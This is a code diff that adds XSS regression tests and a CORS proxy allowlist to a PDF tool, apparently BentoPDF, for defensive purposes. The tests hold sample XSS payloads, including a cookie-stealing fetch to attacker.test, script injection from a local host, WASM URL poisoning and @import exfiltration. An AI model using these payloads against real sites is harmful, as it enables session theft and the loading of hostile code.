+function renderAsPreviewWould(markdown: string): string {
+  const md = new MarkdownIt({
+    html: true,
+    breaks: false,
+    linkify: true,
+    typographer: true,
+  });
+  const raw = md.render(markdown);
+  return DOMPurify.sanitize(raw, { ADD_ATTR: ['target'] });
+}
+
+function assertNoExecutableContent(html: string) {
+  const doc = document.implementation.createHTMLDocument('x');
+  const root = doc.createElement('div');
+  root.innerHTML = html;
+  doc.body.appendChild(root);
+
+  const all = root.querySelectorAll('*');
+
+  expect(
+    root.querySelector('script'),
+    `<script> survived:\n${html}`
+  ).toBeNull();
+
+  for (const el of Array.from(all)) {
+    for (const attr of Array.from(el.attributes)) {
+      expect(
+        /^on/i.test(attr.name),
+        `Element <${el.tagName.toLowerCase()}> has event handler ${attr.name}="${attr.value}" from:\n${html}`
+      ).toBe(false);
+      if (
+        ['href', 'src', 'xlink:href', 'formaction', 'action'].includes(
+          attr.name.toLowerCase()
+        )
+      ) {
+        expect(
+          /^\s*javascript:/i.test(attr.value),
+          `Element <${el.tagName.toLowerCase()}> has ${attr.name}="${attr.value}" from:\n${html}`
+        ).toBe(false);
+      }
+    }
+  }
+
+  const iframes = root.querySelectorAll('iframe[srcdoc]');
+  expect(iframes.length, `<iframe srcdoc> survived:\n${html}`).toBe(0);
+}
+
+describe('XSS replay — Markdown-to-PDF preview path', () => {
+  it('neutralizes the exact payload from the security report', () => {
+    const payload = `# Quarterly Financial Report Q1 2026
+
+## Executive Summary
+
+Revenue growth exceeded expectations at 12.3% YoY.
+
+<img src=x onerror="var s=document.createElement('script');s.src='http://127.0.0.1:9999/payload.js';document.head.appendChild(s)">
+
+## Outlook
+
+Management maintains FY2026 guidance.
+`;
+    const html = renderAsPreviewWould(payload);
+    assertNoExecutableContent(html);
+    const doc = document.implementation.createHTMLDocument('x');
+    const root = doc.createElement('div');
+    root.innerHTML = html;
+    const img = root.querySelector('img');
+    expect(img).not.toBeNull();
+    expect(img?.getAttribute('onerror')).toBeNull();
+  });
+
+  it('strips <script> tags from raw markdown', () => {
+    const html = renderAsPreviewWould(`<script>alert(1)</script>`);
+    assertNoExecutableContent(html);
+  });
+
+  it('strips event-handler attributes from every HTML tag markdown-it passes through', () => {
+    const html = renderAsPreviewWould(`
+<svg onload="alert(1)"><text>x</text></svg>
+<details ontoggle="alert(1)" open><summary>x</summary></details>
+<body onfocus="alert(1)">
+<input autofocus onfocus="alert(1)">
+<video autoplay onloadstart="alert(1)"><source src=x></video>
+<iframe srcdoc="<script>alert(1)</script>"></iframe>
+<form><button formaction="javascript:alert(1)">x</button></form>
+`);
+    assertNoExecutableContent(html);
+  });
+
+  it('blocks javascript: href on plain markdown links', () => {
+    const html = renderAsPreviewWould('[click me](javascript:alert(1))');
+    assertNoExecutableContent(html);
+  });
+
+  it('blocks data: URLs in script contexts but preserves data: in images', () => {
+    const html = renderAsPreviewWould(
+      `![img](data:image/png;base64,AAAA)\n<script src="data:text/javascript,alert(1)"></script>`
+    );
+    assertNoExecutableContent(html);
+    expect(html).toContain('src="data:image/png');
+  });
+
+  it('defeats attribute-injection via quote-breakout in markdown link titles', () => {
+    const html = renderAsPreviewWould(
+      '[x](https://example.com "a\\" onmouseover=alert(1) x=\\"")'
+    );
+    assertNoExecutableContent(html);
+  });
+
+  it('mermaid click directive with javascript: is stripped by SVG sanitizer', () => {
+    const evilSvg = `<svg xmlns="http://www.w3.org/2000/svg">
+      <a href="javascript:alert('mermaid click')"><rect width="10" height="10"/></a>
+      <g onclick="alert(1)"><text>label</text></g>
+      <foreignObject><body><img src=x onerror="alert(1)"></body></foreignObject>
+      <script>alert(1)</script>
+    </svg>`;
+    const clean = DOMPurify.sanitize(evilSvg, {
+      USE_PROFILES: { svg: true, svgFilters: true },
+    });
+    assertNoExecutableContent(clean);
+    expect(clean).not.toMatch(/javascript:/i);
+  });
+});
+
+describe('XSS replay — filename sink', () => {
+  it('escapeHtml neutralizes an attacker-supplied .pdf filename before it reaches innerHTML', () => {
+    const evilName = `<img src=x onerror="fetch('https://attacker.test/steal?d=' + btoa(document.cookie))">.pdf`;
+    const rendered = `<p class="truncate font-medium text-white">${escapeHtml(evilName)}</p>`;
+    const host = document.createElement('div');
+    host.innerHTML = rendered;
+    expect(host.querySelector('img')).toBeNull();
+    expect(host.textContent).toContain(evilName);
+  });
+
+  it('createElement + textContent neutralizes the same payload (deskew/form-filler path)', () => {
+    const evilName = `<img src=x onerror="alert(1)">.pdf`;
+    const host = document.createElement('div');
+    const span = document.createElement('span');
+    span.textContent = evilName;
+    host.appendChild(span);
+    expect(host.querySelector('img')).toBeNull();
+    expect(span.textContent).toBe(evilName);
+  });
+});
+
+describe('XSS replay — WASM provider localStorage poisoning', () => {
+  beforeEach(() => {
+    localStorage.clear();
+  });
+
+  it('the exact PoC payload writes attacker URLs to localStorage — audit the key shape', () => {
+    const wasmPayload = {
+      pymupdf: 'https://attacker.test/wasm/pymupdf/',
+      ghostscript: 'https://attacker.test/wasm/gs/',
+      cpdf: 'https://attacker.test/wasm/cpdf/',
+    };
+    localStorage.setItem(
+      'bentopdf:wasm-providers',
+      JSON.stringify(wasmPayload)
+    );
+
+    const stored = localStorage.getItem('bentopdf:wasm-providers');
+    expect(stored).toContain('attacker.test');
+  });
+
+  it('WasmProvider scrubs the untrusted URLs on load and falls back to env defaults', async () => {
+    localStorage.setItem(
+      'bentopdf:wasm-providers',
+      JSON.stringify({
+        pymupdf: 'https://attacker.test/wasm/pymupdf/',
+        ghostscript: 'https://attacker.test/wasm/gs/',
+        cpdf: 'https://attacker.test/wasm/cpdf/',
+      })
+    );
+
+    vi.resetModules();
+    const { WasmProvider } = await import('../js/utils/wasm-provider');
+
+    const got = WasmProvider.getUrl('pymupdf');
+    expect(got).not.toContain('attacker.test');
+    expect(got).toMatch(/cdn\.jsdelivr\.net|^https?:\/\/[^/]+\//);
+
+    const remaining = JSON.parse(
+      localStorage.getItem('bentopdf:wasm-providers') || '{}'
+    );
+    expect(remaining.pymupdf).toBeUndefined();
+    expect(remaining.ghostscript).toBeUndefined();
+    expect(remaining.cpdf).toBeUndefined();
+  });
+});
+
+describe('XSS replay — CDN URL version pinning', () => {
+  it('every WASM CDN default URL is pinned to an exact patch version', async () => {
+    const { WasmProvider } = await import('../js/utils/wasm-provider');
+    const urls = WasmProvider.getAllProviders();
+    for (const [pkg, url] of Object.entries(urls)) {
+      if (!url) continue;
+      if (!url.includes('cdn.jsdelivr.net')) continue;
+      expect(
+        /@\d+\.\d+\.\d+/.test(url),
+        `${pkg} URL "${url}" must be pinned to an exact version (e.g. pkg@1.2.3)`
+      ).toBe(true);
+    }
+  });
+});
+
+describe('XSS replay — sanitizeEmailHtml (DOMPurify-backed)', () => {
+  it('strips <script> tags and event handlers that a regex sanitizer would miss', () => {
+    const mutationPayloads = [
+      '<scr<script>ipt>alert(1)</scr</script>ipt>',
+      '<img/src=x/onerror=alert(1)>',
+      '<svg><animate onbegin=alert(1) attributeName=x /></svg>',
+      '<math><mo><a href=javascript:alert(1)>x</a></mo></math>',
+      '<iframe src="javascript:alert(1)"></iframe>',
+      '<object data="javascript:alert(1)"></object>',
+      '<embed src="javascript:alert(1)">',
+    ];
+    for (const raw of mutationPayloads) {
+      const out = sanitizeEmailHtml(raw);
+      const doc = document.implementation.createHTMLDocument('x');
+      const root = doc.createElement('div');
+      root.innerHTML = out;
+      expect(
+        root.querySelector('script, iframe, object, embed, link'),
+        `mutation payload survived: ${raw}\n-> ${out}`
+      ).toBeNull();
+      for (const el of Array.from(root.querySelectorAll('*'))) {
+        for (const attr of Array.from(el.attributes)) {
+          expect(/^on/i.test(attr.name), `event handler survived: ${raw}`).toBe(
+            false
+          );
+          if (
+            ['href', 'src'].includes(attr.name.toLowerCase()) &&
+            /^\s*javascript:/i.test(attr.value)
+          ) {
+            throw new Error(`javascript: URL survived: ${raw}`);
+          }
+        }
+      }
+    }
+  });
+
+  it('strips <style> and <link> to avoid @import / external stylesheet exfil', () => {
+    const out = sanitizeEmailHtml(
+      '<html><head><style>@import url(http://attacker/steal);</style><link rel=stylesheet href=http://attacker></head><body>hi</body></html>'
+    );
+    expect(out).not.toMatch(/@import/i);
+    expect(out.toLowerCase()).not.toContain('<style');
+    expect(out.toLowerCase()).not.toContain('<link');
+  });
+});
+
+describe('XSS replay — PDF signature cryptographic verification', () => {
+  function buildSignedPdf(digestAlgorithm: string = forge.pki.oids.sha256): {
+    pdfBytes: Uint8Array;
+    byteRange: number[];
+    p7Der: Uint8Array;
+  } {
+    const keys = forge.pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
+    const cert = forge.pki.createCertificate();
+    cert.publicKey = keys.publicKey;
+    cert.serialNumber = '01';
+    const attrs = [
+      { name: 'commonName', value: 'Test Signer' },
+      { name: 'countryName', value: 'US' },
+    ];
+    cert.setSubject(attrs);
+    cert.setIssuer(attrs);
+    cert.validity.notBefore = new Date(Date.now() - 86400000);
+    cert.validity.notAfter = new Date(Date.now() + 365 * 86400000);
+    cert.sign(keys.privateKey, forge.md.sha256.create());
+
+    const contentBefore = '%PDF-1.4\nsigned content A\n';
+    const contentAfter = '\nsigned content B\n%%EOF\n';
+    const placeholderLen = 0;
+
+    const signedContent = new TextEncoder().encode(
+      contentBefore + contentAfter
+    );
+
+    const p7 = forge.pkcs7.createSignedData();
+    p7.content = forge.util.createBuffer(String.fromCharCode(...signedContent));
+    p7.addCertificate(cert);
+    p7.addSigner({
+      key: keys.privateKey,
+      certificate: cert,
+      digestAlgorithm,
+      authenticatedAttributes: [
+        { type: forge.pki.oids.contentType, value: forge.pki.oids.data },
+        { type: forge.pki.oids.messageDigest },
+        // @ts-expect-error runtime accepts Date, type defs say string
+        { type: forge.pki.oids.signingTime, value: new Date() },
+      ],
+    });
+    p7.sign({ detached: true });
+    const p7Asn1 = p7.toAsn1();
+    const p7Der = forge.asn1.toDer(p7Asn1).getBytes();
+    const p7Bytes = new Uint8Array(p7Der.length);
+    for (let i = 0; i < p7Der.length; i++) p7Bytes[i] = p7Der.charCodeAt(i);
+
+    const beforeBytes = new TextEncoder().encode(contentBefore);
+    const afterBytes = new TextEncoder().encode(contentAfter);
+    const pdfBytes = new Uint8Array(
+      beforeBytes.length + afterBytes.length + placeholderLen
+    );
+    pdfBytes.set(beforeBytes, 0);
+    pdfBytes.set(afterBytes, beforeBytes.length);
+    const byteRange = [
+      0,
+      beforeBytes.length,
+      beforeBytes.length + placeholderLen,
+      afterBytes.length,
+    ];
+    return { pdfBytes, byteRange, p7Der: p7Bytes };
+  }
+
+  it('flags untouched signed bytes as cryptoVerified=true', async () => {
+    const { pdfBytes, byteRange, p7Der } = buildSignedPdf();
+    const sig: ExtractedSignature = {
+      index: 0,
+      contents: p7Der,
+      byteRange,
+    };
+    const result = await validateSignature(sig, pdfBytes);
+    expect(result.cryptoVerified).toBe(true);
+    expect(result.errorMessage).toBeUndefined();
+  });
+
+  it('flips a byte inside the signed range → cryptoVerified=false and isValid=false', async () => {
+    const { pdfBytes, byteRange, p7Der } = buildSignedPdf();
+    const tampered = new Uint8Array(pdfBytes);
+    tampered[10] ^= 0xff;
+    const sig: ExtractedSignature = {
+      index: 0,
+      contents: p7Der,
+      byteRange,
+    };
+    const result = await validateSignature(sig, tampered);
+    expect(result.cryptoVerified).toBe(false);
+    expect(result.isValid).toBe(false);
+    expect(result.errorMessage).toMatch(
+      /hash does not match|does not verify|PDF was modified/i
+    );
+  });
+
+  it('refuses MD5 as the digest algorithm even when bytes match', async () => {
+    const { pdfBytes, byteRange, p7Der } = buildSignedPdf(forge.pki.oids.md5);
+    const sig: ExtractedSignature = {
+      index: 0,
+      contents: p7Der,
+      byteRange,
+    };
+    const result = await validateSignature(sig, pdfBytes);
+    expect(result.usesInsecureDigest).toBe(true);
+    expect(result.isValid).toBe(false);
+  });
+});

vite.config.ts

@@ -202,6 +202,47 @@ function createLanguageMiddleware(isDev: boolean): Connect.NextHandleFunction {
   };
 }
 
+function buildCorsProxyAllowedHosts(): Set<string> {
+  const hosts = new Set<string>([
+    'cdn.jsdelivr.net',
+    'fonts.googleapis.com',
+    'fonts.gstatic.com',
+    'bentopdf-cors-proxy.bentopdf.workers.dev',
+  ]);
+
+  const envHostSources = [
+    process.env.VITE_CORS_PROXY_URL,
+    process.env.VITE_WASM_PYMUPDF_URL,
+    process.env.VITE_WASM_GS_URL,
+    process.env.VITE_WASM_CPDF_URL,
+    process.env.VITE_TESSERACT_WORKER_URL,
+    process.env.VITE_TESSERACT_CORE_URL,
+    process.env.VITE_TESSERACT_LANG_URL,
+    process.env.VITE_OCR_FONT_BASE_URL,
+  ];
+  for (const raw of envHostSources) {
+    if (!raw) continue;
+    try {
+      hosts.add(new URL(raw).hostname);
+    } catch {
+      console.warn(
+        `[vite] Ignoring malformed VITE_* URL in dev CORS proxy allowlist: ${raw}`
+      );
+    }
+  }
+
+  const extra = process.env.VITE_DEV_CORS_PROXY_EXTRA_HOSTS;
+  if (extra) {
+    for (const host of extra.split(',').map((s) => s.trim())) {
+      if (host) hosts.add(host);
+    }
+  }
+
+  return hosts;
+}
+
+const CORS_PROXY_ALLOWED_HOSTS = buildCorsProxyAllowedHosts();
+
 function createCorsProxyMiddleware(): Connect.NextHandleFunction {
   return (
     req: IncomingMessage,
@@ -227,6 +268,31 @@ function createCorsProxyMiddleware(): Connect.NextHandleFunction {
       return;
     }
 
+    let targetHost: string;
+    let targetProtocol: string;
+    try {
+      const parsedTarget = new URL(targetUrl);
+      targetHost = parsedTarget.hostname;
+      targetProtocol = parsedTarget.protocol;
+    } catch {
+      res.statusCode = 400;
+      res.end('Invalid url parameter');
+      return;
+    }
+
+    if (targetProtocol !== 'https:' && targetProtocol !== 'http:') {
+      res.statusCode = 400;
+      res.end('Unsupported protocol');
+      return;
+    }
+
+    if (!CORS_PROXY_ALLOWED_HOSTS.has(targetHost)) {
+      console.warn(`[CORS Proxy] Blocked disallowed host: ${targetHost}`);
+      res.statusCode = 403;
+      res.end(`Host not allowed: ${targetHost}`);
+      return;
+    }
+
     console.log(`[CORS Proxy] ${req.method} ${targetUrl}`);
 
     const bodyChunks: Buffer[] = [];
@@ -442,7 +508,7 @@ export default defineConfig(() => {
       exclude: ['coherentpdf', 'wasm-vips'],
     },
     server: {
-      host: true,
+      host: process.env.VITE_DEV_HOST || 'localhost',
       headers: {
         'Cross-Origin-Opener-Policy': 'same-origin',
         'Cross-Origin-Embedder-Policy': 'require-corp',